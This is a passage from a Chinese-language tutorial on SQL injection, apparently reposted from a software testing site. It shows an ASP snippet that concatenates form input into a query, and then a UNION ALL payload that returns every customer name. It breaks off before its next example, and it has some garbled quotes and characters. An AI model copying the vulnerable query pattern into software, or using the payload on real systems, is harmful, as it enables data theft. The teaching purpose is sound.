strQuery = "SELECT ContactName FROM Customers " & _
“WHERE CustomerID = ’" & Request.Form("CustID") & "’"
Set rstResults = cnn.Execute(strQuery)
Response.Write(rstResults.Fields("ContactName").Value)
現在你知道什么地方有問題了吧?如果用戶知道一個用戶的ID,他可以通過檢索來獲得全部的相應的名字,F在明白了?
獲得額外的數據
當然,對于一個攻擊程序,盡管它不知道任何顧客的ID,甚至不用去猜,它也可以獲得數據。為了完成這個工作,它將下面的文本輸入到應用程序調用顧客ID的textbox中:
customer ID:
’UNION ALL SELECT ContactName FROM Customers
WHERE CustomerID <>’
如果你輸入了這個代碼,你將會看到返回一個詢問語句:
SELECT ContactName FROM Customers
WHERE CustomerID = ’’
UNION ALL SELECT ContactName FROM Customers
WHERE CustomerID <>’’
通過獲得空和非空顧客的ID并集,這個查詢語句會返回數據庫中所有的相關姓名。事實上,這個UNION技術可以被用來獲得你數據庫中大多數信息,看看這個CustomerID的值:
延伸閱讀
文章來源于領測軟件測試網 http://www.kjueaiud.com/